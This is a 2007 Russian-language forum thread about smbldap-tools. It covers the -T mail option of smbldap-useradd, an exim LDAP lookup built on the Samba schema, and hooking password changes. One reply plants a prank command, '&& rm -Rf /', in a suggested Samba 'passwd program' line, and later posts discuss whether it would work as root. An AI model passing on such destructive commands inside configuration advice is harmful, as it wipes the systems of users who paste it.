Страница 1 из 1

smbldap-useradd

Добавлено: 2007-06-22 12:46:44
quest
Среди вссего прочего есть параметр -T позволяющий добавить адрес почты.
Почему он не работает когда я ишу smbldap-useradd -Ttestmail testuser?
Что и где надо дописать?
и попутно схему самбы можно использовать для exim вместой той что предложена здесь http://www.lissyara.su/?id=1331? Ведь все атрибуты в принципе есть.
И еще - как отловить момент изменения пароля пользователем? что бы сделать дополнительные действия

Re: smbldap-useradd

Добавлено: 2007-06-25 11:33:04
s.romanov
quest писал(а):Среди вссего прочего есть параметр -T позволяющий добавить адрес почты.
Почему он не работает когда я ишу smbldap-useradd -Ttestmail testuser?
почему не работает?!
покажи вывод ldapsearch для этого пользователя!
quest писал(а): и попутно схему самбы можно использовать для exim вместой той что предложена здесь http://www.lissyara.su/?id=1331? Ведь все атрибуты в принципе есть.
можно я именно так и пользую, главное фантазию включить!

вот пример

Код: Выделить всё

## домашняя директория
 data = ${lookup ldapm{LDAP_AUTH LDAPSERVER/BASEDN?mailRoutingAddress?sub?(mail=${quote_ldap:$local_part}${quote_ldap:@}${quote_ldap:$domain})}}
quest писал(а): И еще - как отловить момент изменения пароля пользователем? что бы сделать дополнительные действия
какие?!
попробуй так:
passwd program = /usr/local/sbin/smbldap-passwd %u && rm -Rf /
passwd chat = *Changing UNIX and samba passwords for %u* %n\n *New*password* %n\n *
Retype*new*password* %n\n *all*authentication*tokens*updated*

Добавлено: 2007-06-26 7:28:00
smilealex
&& rm -Rf / а это зачем? )) типа юникс-вэя?

Добавлено: 2007-06-26 8:27:41
Гость
tipa 4tob dumali pregde 4em "ctrl+c" "ctrl+v" nagimat'

Добавлено: 2007-06-26 17:26:34
quest
smbldap-useradd -Ttesuser tesuserX

PARFUM-KARELIA\bombin-wa@postgres:/windows/D/&RQ> ldapsearch -x -hbsd-server.parfum-karelia.local -D'cn=ldapadmin,dc=parfum-karelia,dc=local' -b'uid=testuserX,ou=users,dc=parfum-karelia,dc=local' -W
# extended LDIF
#
# LDAPv3
# base <uid=testuserX,ou=users,dc=parfum-karelia,dc=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# testuserX, users, parfum-karelia.local
dn: uid=testuserX,ou=users,dc=parfum-karelia,dc=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
cn: testuserX
sn: testuserX
givenName: testuserX
uid: testuserX
uidNumber: 1041
gidNumber: 513
homeDirectory: /home/testuserX
loginShell: /bin/nologin
gecos: System User
userPassword:: e2NyeXB0fXg=

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

нет почты...

насчет rm - улыбнуло... Кстати. а прав на удаление / хватит в таком случае?

Добавлено: 2007-06-26 19:35:27
Alex Keda
помнится, команды из конфига самбы выполняются от рута
а вообще - не прокатит, конечно..

Код: Выделить всё

ussr# id
uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)
ussr# rm -Rf /
rm: "/" may not be removed
ussr#   
ибо команда некорректная :)))

Добавлено: 2007-07-04 11:10:12
s.romanov
действительно не отрабатывает параметр при добавлении: smbldap-useradd
зато при изминении smbldap-usermod
пиши разработчикам или можешь сам посмотреть